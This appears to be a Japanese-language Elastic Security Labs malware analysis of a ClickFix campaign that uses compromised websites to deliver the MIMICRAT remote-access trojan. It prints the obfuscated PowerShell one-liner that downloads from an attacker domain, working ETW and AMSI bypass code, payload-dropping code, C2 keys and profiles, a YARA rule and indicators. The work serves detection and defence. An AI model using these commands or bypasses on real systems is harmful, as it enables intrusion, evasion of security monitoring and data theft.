Salim Bitam

MIMICRAT: ClickFix キャンペーンが侵害された正規ウェブサイト経由でカスタム RAT を配信

Elastic Security Labs は、侵害された正規のサイトを使用して、柔軟な C2、トークン盗難、SOCKS5 トンネリングを備えたカスタムネイティブ C RAT である MIMICRAT で終わる 5 段階のチェーンを配信する ClickFix キャンペーンを発見しました。

7分で読めますマルウェア分析
MIMICRAT: ClickFix キャンペーンが侵害された正規ウェブサイト経由でカスタム RAT を配信

はじめに

最近の調査で、Elastic Security Labs は、複数の正当な Web サイトを侵害して多段階のマルウェア チェーンを配信するアクティブな ClickFix キャンペーンを特定しました。一般的なインフォスティーラーで終了するより単純な ClickFix 展開とは異なり、このキャンペーンは、私たちがMIMICRAT と呼んでいる高性能なカスタム リモート アクセス トロイの木馬 (RAT) で終了します。これは、柔軟な C2 プロファイル、トークンの偽装、SOCKS5 トンネリング、および 22 個のコマンド ディスパッチ テーブルを備えたネイティブ C インプラントです。

このキャンペーンは、高度な運用の洗練度を示しています。複数の業界や地域にまたがる侵害されたサイトが配信インフラストラクチャとして機能し、多段階の PowerShell チェーンが ETW および AMSI バイパスを実行してから Lua スクリプトのシェルコード ローダーをドロップし、最終的なインプラントは、正規の Web 分析トラフィックに類似した HTTP プロファイルを使用してポート 443 で HTTPS 経由で通信します。

重要なポイント

  • 複数の正規の Web サイトが侵害され、5 段階の攻撃チェーンが実行されました。
  • Lua ローダーは埋め込まれたシェルコードを実行します。
  • MIMICRATは、柔軟な C2 プロファイル、Windows トークンの盗難、SOCKS5 プロキシを備えた特注のネイティブ C++ RAT です。

ディスカバリ

Elastic Security Labs は、難読化されたコマンドライン引数を使用した疑わしい PowerShell 実行をフラグ付けするエンドポイント テレメトリを通じて、2 月初旬にこのキャンペーンを初めて特定しました 2026 。

最終的なペイロードの新規性を考慮し、完全な分析が行われている間に、より広範なセキュリティコミュニティがこの脅威の追跡と防御を開始できるように、 2026 2 月 11 日にソーシャル メディアで初期の兆候を公開しました。このキャンペーンは本稿の発行時点ではまだ有効です。

Huntress の研究者は、同様のインフラストラクチャと手法を使用した関連する ClickFix キャンペーンを記録しており、この脅威アクターが複数の同時キャンペーンにわたって活動している範囲を示しています。

キャンペーン配信

このキャンペーンの配信は、攻撃者が所有するインフラストラクチャではなく、正当で信頼できる Web サイトを侵害することに完全に依存しています。被害者のエントリーポイントはbincheck[.]ioです。正当な銀行識別番号 (BIN) 検証サービス。脅威の攻撃者はこのサイトを侵害し、2 つ目の侵害サイトである合法的なインドの投資信託プラットフォーム(Abchlor Investments Pvt. Ltd.)であるhttps://www.investonline[.]in/js/jq.phpでホストされている外部スクリプトを動的に読み込む悪意のある JavaScript スニペットを挿入しました。外部スクリプトは、jQuery ライブラリを偽装するように命名され、ページの既存のリソース ロードに溶け込みます。

ClickFix ルアーを配信するのは、リモートでロードされたこのスクリプト ( jq.php ) です。ClickFix ルアーとは、被害者に手動でコマンドを貼り付けて実行し、問題を「修正」するように指示する偽の Cloudflare 検証ページです。ルアーは悪意のある PowerShell コマンドを被害者のクリップボードに直接コピーし、実行ダイアログ ( Win+R ) または PowerShell プロンプトを開いて貼り付けるように促します。この手法では、ファイルがダウンロードされないため、ブラウザベースのダウンロード保護が完全に回避されます。

この多次元の侵害は、被害者向けの Web サイトが 2 つ目の侵害を受けた Web サイトから悪意のあるスクリプトを読み込むことに依存しており、検出リスクを分散し、ユーザーと自動化されたセキュリティ ツールの両方に対してルアーの正当性を認識しやすくします。このキャンペーンは 17 言語をサポートしており、ルアー コンテンツは被害者のブラウザの言語設定に基づいて動的にローカライズされ、効果的なリーチが拡大されます。特定された被害者は、米国の大学や、公開フォーラムのディスカッションで記録された複数の中国語圏のユーザーなど、複数の地域にまたがっており、広範囲にわたる機会主義的な標的型攻撃であったことが示唆されています。

ClickFix でサポートされている言語のリストは次のとおりです。

  • 英語
  • 中国語
  • ロシア語
  • スペイン語
  • フランス語
  • ドイツ語
  • ポルトガル語
  • 日本語
  • 韓国語
  • イタリア語
  • トルコ語
  • ポーランド語
  • オランダ語
  • ベトナム語
  • アラビア語
  • ヒンディー語
  • インドネシア語

コード分析

被害者がクリップボード コマンドを実行すると、キャンペーンは 5 つの異なる段階に展開されます。難読化された PowerShell ダウンローダーが C2 に接続し、Windows イベント ログ ( ETW ) とウイルス対策スキャン ( AMSI ) にパッチを適用する第 2 段階のスクリプトを取得してから、Lua ベースのローダーをドロップします。ローダーはシェルコードを完全にメモリ内で復号して実行します。シェルコードは最終的に、永続的なアクセスと横方向の移動を目的として設計された有能な RAT であるMIMICRATを配信します。

ステージ 1 PowerShell ワンライナーコマンド

クリップボードに配信されるコマンドは、コンパクトで難読化された PowerShell ワンライナーです。

powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk

このコマンドは、単一のシード文字列 ( aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf ) に対して文字列スライスと算術インデックス演算を使用して、実行時にターゲット ドメインと呼び出しメカニズムの両方を再構築し、初期ペイロード内の C2 ドメインまたは PowerShell コマンドレット名のプレーンテキスト表現を回避します。ウィンドウは最小化されています ( -WInDo Min )。抽出されたドメインはxMRi.neTwOrkで、 45.13.212.250に解決され、第 2 段階の PowerShell スクリプトがダウンロードされます。

VirusTotal 関係を介して45.13.212.250を軸にしたインフラストラクチャにより、同じ IP に解決される 2 番目のドメインWexMrI.CCが明らかになりました。どちらのドメインも、大文字と小文字が混在する形式の難読化パターンを共有しています。

ステージ 2 難読化された PowerShell スクリプト

ダウンロードされた第 2 段階の PowerShell スクリプトは、大幅に複雑になっています。すべての文字列は、実行時に算術式を ASCII 文字に解決することによって構築されます。

$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: "System.Diagnostics.Eventing.EventProvider"

この手法により、スクリプトは実行時に完全に機能したまま、静的分析やシグネチャベースの検出に対して不透明になります。ダミークラス宣言がデコイとして含まれており、
スクリプトは次の 4 つの操作を連続して実行します。

ETWバイパス

スクリプトは、リフレクションを介してSystem.Diagnostics.Eventing.EventProviderクラスの内部m_enabledフィールドにアクセスし、その値を0にパッチして、Windows イベント トレーシングを無効にし、PowerShell スクリプト ブロックのログ記録を無効にします。

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

AMSI バイパス

次に、スクリプトはリフレクションを使用してSystem.Management.Automation.AmsiUtilsにアクセスし、 amsiInitFailedフィールドを$trueに設定して、PowerShell がセッションの残りの部分ですべての AMSI コンテンツ スキャンをスキップするようにします。

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

AMSI - メモリパッチ

スクリプトは、追加の、あまり一般的ではない防御回避手順で、 Marshal.Copyを介してランタイム メソッド ハンドルのパッチ適用を実行し、メモリ内のメソッド ポインターを上書きして、監視対象のコード パスから実行をリダイレクトします。これは、 System.Management.Automation.AmsiUtilsの下の関数ScanContentを空の generate メソッドにターゲットします。

$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt       = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"

[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
    0,
    [long]$ScanContent_func.MethodHandle.Value + [long]8,
    1
)

ペイロード配信

イベント ログと AV スキャンが無効になっている場合、スクリプトは base64 でエンコードされた ZIP アーカイブをデコードし、それを%ProgramData% / knz_{random}の下のランダムに名前が付けられたディレクトリに抽出し、含まれるバイナリzbuild.exeを実行します。一時的なアーティファクトは実行後にクリーンアップされます。

$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')

ステージ 3 Lua ローダー

ドロップされたバイナリはカスタム Lua 5.4.7 ローダーです。Lua インタープリタを静的に埋め込みます。
バイナリは実行時に XOR スタブを使用して埋め込まれた Lua スクリプトを復号化し、それを実行します。XOR 復号ルーチン ( fxh::utility::lua_script_xor_decrypt ) は、暗号化されたバッファを反復処理し、各バイトをキーに対して XOR します。

Lua スクリプトは、埋め込まれたシェルコードをデコードするために、非標準のアルファベットを使用したカスタム Base64 デコーダーを実装します。デコードされたシェルコードは、 luaallocを介して実行可能メモリに割り当てられ、 luacpyによってそのメモリにコピーされ、最後にluaexeを介して実行され、完全にメモリ内でのファイルレスのシェルコード実行が実現されます。

ステージ 4 シェルコード

シェルコードは Meterpreter 関連のシグネチャと一致しており、シェルコード ステージは、 MIMICRAT をメモリに反射的にロードするための Meterpreter コード ファミリと一致するローダーであることが示唆されています。

ステージ 5 ミミクラット

コンパイル メタデータが2026 年 1 月 29 に設定された最終ペイロードは、Microsoft Visual Studio リンカー バージョン 14.44 でコンパイルされたネイティブ MSVC x64 PE です。これは、既知のオープンソース C2 フレームワークと完全には一致せず、ASCII 文字ベースのコマンドディスパッチとカスタムアーキテクチャを備えた独自の柔軟な HTTP C2 プロファイルを実装しています。

C2構成と通信

MIMICRATの設定は.dataセクションに保存されます。暗号化キー、接続パラメータ、および 2 つの完全な HTTP 通信プロファイルが含まれています。すべてのヘッダー文字列と URI は 16 進エンコードされた ASCII であり、実行時にデコードされます。

C2 は、10 秒のコールバック間隔でポート 443 上の HTTPS 経由で動作します。C2 サーバーのホスト名 ( d15mawx0xveem1.cloudfront.net ) は、次の RC4 キー@z1@@9&Yv6GR6vp#SyeG&ZkY0X74%JXLJEv2Ci8&J80AlVRJk&6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5を使用して RC4 暗号化されています。

インプラントは階層化暗号化方式による通信に HTTPS を使用します。埋め込まれた RSA-1024 公開キーが非対称セッション キーの交換を処理します。

AES は C2 トラフィックの対称暗号化に使用されますが、ハードコードされた IV abcdefghijklmnopと、ランダムに生成された英数字の値の SHA-256 ハッシュ値から導出された実行時計算キーを使用します (例: 9ZQs0p0gfpOj3Y02.

以下は、サンプルの POST および GET リクエストで使用されるプロファイルです。

HTTP GET プロファイル: チェックインとタスク
コンポーネント
URI/intake/organizations/events?channel=app
ユーザーエージェントMozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045
リファラー[https://www.google.com/?q=dj1](https://www.google.com/?q=dj1)
受け入れ言語zh-CN,zh;q=0.9
CookieAFUAKBLAHFK
HTTP POST プロファイル: データ漏洩
コンポーネント
URI/discover/pcversion/metrics?clientver=ds
リファラー[https://gsov.google.com/](https://gsov.google.com/)
CookieARCHUIDBRCHDZRCHUSR

コマンドディスパッチ

MIMICRAT は、プロセスとファイル システムの制御、対話型シェル アクセス、トークン操作、シェルコード インジェクション、SOCKS プロキシ トンネリングなどのエクスプロイト後の機能を提供するために、合計 22 の異なるコマンドを実装します。ビーコン間隔とジッターは、専用コマンドを使用して実行時にオペレータが設定できます。以下は実装されているすべてのコマンドをまとめた表です。

コマンドID関数説明
3出口インプラントのプロセスを終了する
4ビーコン間隔を設定するスリープ期間とジッターを設定する
5ディレクトリを変更する現在の作業ディレクトリを変更する
10ファイルを書き込むC2から提供されたペイロードをディスクに書き込む(上書き)
11ファイルを読むディスクからファイルを読み取り、その内容をC2に流出させる
12産卵プロセス盗んだトークンが利用可能な場合はそれを使用してプロセスを起動し、標準実行にフォールバックします。
28なりすましを元に戻すトークンの偽装を元に戻し、トークンの状態をクリアします
31トークンを盗む対象プロセスのセキュリティトークンをPIDで複製します
32プロセスを一覧表示する実行中のプロセスをPID、PPID、ユーザー、ドメイン、アーキテクチャで列挙します
33キルプロセスPIDでプロセスを終了
39現在のディレクトリを取得する現在の作業ディレクトリをC2に返します
53ファイルの一覧タイムスタンプとサイズ付きのファイルとディレクトリを一覧表示します
54ディレクトリを作成ディスク上にディレクトリを作成する
55ドライブの一覧論理ドライブを列挙する
56ファイル/ディレクトリを削除するファイルまたはディレクトリを削除します
67ファイルに追加C2 から提供されたデータを既存のファイルに追加します
73ファイルをコピーソースから宛先にファイルをコピーします
74ファイルの移動/名前変更ファイルを移動または名前変更する
78インタラクティブシェルパイプを介して永続的な対話型CMDシェルを開きます
100シェルコードを挿入する反射型シェルコードインジェクション
101ソックスSOCKSプロキシチャネルを設定または停止する
102SOCKSプロキシコマンド101とハンドラーを共有します。おそらくプレースホルダーコマンドです。

インフラストラクチャー

キャンペーンのネットワーク インフラストラクチャは、主に次の 2 つのグループに分かれています。

クラスターA — 初期ペイロード配信( 45.13.212.251 / 45.13.212.250

xMRi.neTwOrkWexMrI.CCなど複数のドメインがこの IP 範囲を指しています。ドメイン名の命名では大文字と小文字が混在した難読化が使用されます。このインフラストラクチャは、第 2 段階の PowerShell スクリプトと埋め込まれたペイロード ZIP を提供します。

クラスターB エクスプロイト後 C2 ( 23.227.202.114 )

www.ndibstersoft[.]comに関連付けられており、ドロップされたファイルからのビーコン通信で観察されます。これは、オペレーターのエクスプロイト後の C2 チャネルを表します。

CloudFront C2 リレー
d15mawx0xveem1.cloudfront[.]net MIMICRATの C2 インフラストラクチャの一部であることが確認されました。rgen.zipサンプルの VT 関係は、 MIMICRATの GET プロファイルで識別された同じ/intake/organizations/events?channel=app URI パターンを使用してこの CloudFront ドメインに接続していることを示しており、バックエンド サーバーの C2 リレー フロントとして機能していることが確認されます。

配信インフラストラクチャ

侵害された 2 つの正規の Web サイトが配信チェーンを形成します。

  • bincheck.io — 被害者向けのエントリポイント。外部の悪意のあるスクリプトをロードするために侵害される
  • investonline.in — jQueryを装ったClickFix JavaScriptペイロード( /js/jq.php )をホストします。このスクリプトはルアーをレンダリングし、クリップボードのPowerShellを配信します。

マルウェアとMITRE ATT&CK**

Elasticは、 MITRE ATT&CK フレームワークを使用して、企業ネットワークに対してAdvanced Persistent Threatが使用する一般的な戦術、手法、手順を文書化しています。

戦術(Tactics)

戦術は、テクニックまたはサブテクニックの理由を表します。 それは敵の戦術的な目標であり、行動を実行する理由です。

手法

手法は、敵対者がアクションを実行することによって戦術的な目標を達成する方法を表します。

対策

検知

この侵入セットの分析では、次の検出ルールと動作防止イベントが観察されました。

ヤラ

Elastic Security はこのアクティビティを識別するための YARA ルールを作成しました。以下は、MimicRat を識別するための YARA ルールです。

rule Windows_Trojan_MimicRat {
    meta:
        author = "Elastic Security"
        creation_date = "2026-02-13"
        last_modified = "2026-02-13"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "MimicRat"
        threat_name = "Windows.Trojan.MimicRat"
        reference_sample = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
        scan_type = "File, Memory"
        severity = 100

    strings:
        $b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
        $b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
    condition:
        all of them
}

観測

すべてのオブザーバブルは、ECS形式とSTIX形式の両方で、結合されたzipバンドルで ダウンロード することもできます。

この研究では、次の観測量について議論しました。

すぐれた監視性タイプ名前参考
bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1SHA-256のステージ 1 PowerShell ペイロード
5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51SHA-256のLuaローダー
a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4bSHA-256のMIMICRATビーコン
055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28bebSHA-256の関連ビーコンサンプル
45.13.212.251IPペイロード配信インフラストラクチャ
45.13.212.250IPペイロード配信インフラストラクチャ
23.227.202.114IPエクスプロイト後のC2
xmri.networkドメインステージ 1 C2 / ペイロード配信
wexmri.ccドメインステージ 1 C2代替
www.ndibstersoft[.]comドメインエクスプロイト後のC2
d15mawx0xveem1.cloudfront[.]netドメインエクスプロイト後のC2
www.investonline.in/js/jq.phpURL悪意のある JS ペイロード ホスト (侵害)
backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zipURLペイロードの配信

この記事を共有する